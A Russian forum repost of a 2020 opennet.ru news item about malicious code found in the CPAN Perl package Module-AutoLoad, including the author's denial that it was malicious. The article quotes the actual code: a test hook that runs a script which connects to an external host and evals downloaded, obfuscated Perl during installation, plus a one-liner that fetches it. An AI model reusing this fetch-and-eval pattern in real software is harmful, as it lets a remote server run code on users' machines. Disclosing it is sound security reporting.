PDA

Просмотр полной версии : В Perl-пакете Module-AutoLoad выявлен вредоносный код


Suicide
29.07.2020, 19:17
В распространяемом через каталог CPAN Perl-пакете Module-AutoLoad (https://metacpan.org/release/Module-AutoLoad), предназначенном для автоматической загрузки CPAN-модулей на лету, выявлен (https://news.perlfoundation.org/post/malicious-code-found-in-cpan-package) вредоносный код. Вредоносная вставка была найдена (https://www.nntp.perl.org/group/perl.modules/2020/07/msg101453.html) в коде теста 05_rcx.t (https://metacpan.org/source/BBB/Module-AutoLoad-0.06/t/05_rcx.t), который поставляется с 2011 года. Примечательно, что вопросы о загрузке сомнительного кода возникали на Stackoverflow (https://stackoverflow.com/questions/35212843/perl-understanding-botstrap) ещё в 2016 году.

Вредоносная активность сводится к попытке загрузки и выполнения кода со стороннего сервера (http://r.cx:1/) в процессе выполнения тестового набора, запускаемого при установке модуля. Предполагается, что изначально загружаемый с внешнего сервера код не был вредоносным, но теперь запрос перенаправляется на домен ww.limera1n.com, отдающий свою порцию кода для выполнения.

Для организации загрузки в файле 05_rcx.t (https://metacpan.org/source/BBB/Module-AutoLoad-0.06/t/05_rcx.t) используется следующий код:

my $prog = __FILE__;

$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;

my $try = `$^X $prog`;

Указанный код приводит к выполнению скрипта ../contrib/RCX.pl (https://metacpan.org/source/BBB/Module-AutoLoad-0.06/contrib/RCX.pl), содержимое которого сводится к строке:

use lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1"};

Данный скрипт загружает запутанный (https://perlbot.pl/p/1133d2) при помощи сервиса perlobfuscator.com (http://www.perlobfuscator.com/) код с внешнего хоста r.cx (коды символов 82.46.99.88 соответствуют тексту "R.cX") и выполняет его в блоке eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1"; print ;'

eval unpack u=>q{_or return warn$@while$b;1

В настоящее время проблемный пакет удалён из хранилища PAUSE (https://pause.perl.org/) (Perl Authors Upload Server), а учётная запись автора модуля заблокирована. При этом модуль пока остаётся доступен (https://metacpan.org/source/BBB/Module-AutoLoad-0.06) в архиве MetaCPAN и может быть напрямую установлен с MetaCPAN при помощи некоторых утилит, таких как cpanminus. Отмечается (https://news.perlfoundation.org/post/malicious-code-found-in-cpan-package), что пакет не был широко распространён.

Интересно, что к обсуждению подключился (https://stackoverflow.com/questions/35212843/perl-understanding-botstrap/63145275#63145275) и автор модуля, который опроверг информацию о том, что вредоносный код подставлен после взлома его сайта "r.cx" и пояснил, что он просто так развлекался, а perlobfuscator.com использовал не для скрытия чего-то, а для сокращения размера кода и упрощения его копирования через буфер обмена. Выбор названия функции "botstrap" пояснён тем, что это слово "звучит как bot и короче, чем bootstrap". Автор модуля также заверил, что выявленные манипуляции не совершают вредоносных действий, а лишь демонстрируют загрузку и выполнение кода по TCP.

29.07.2020

https://www.opennet.ru/opennews/art.shtml?num=53448​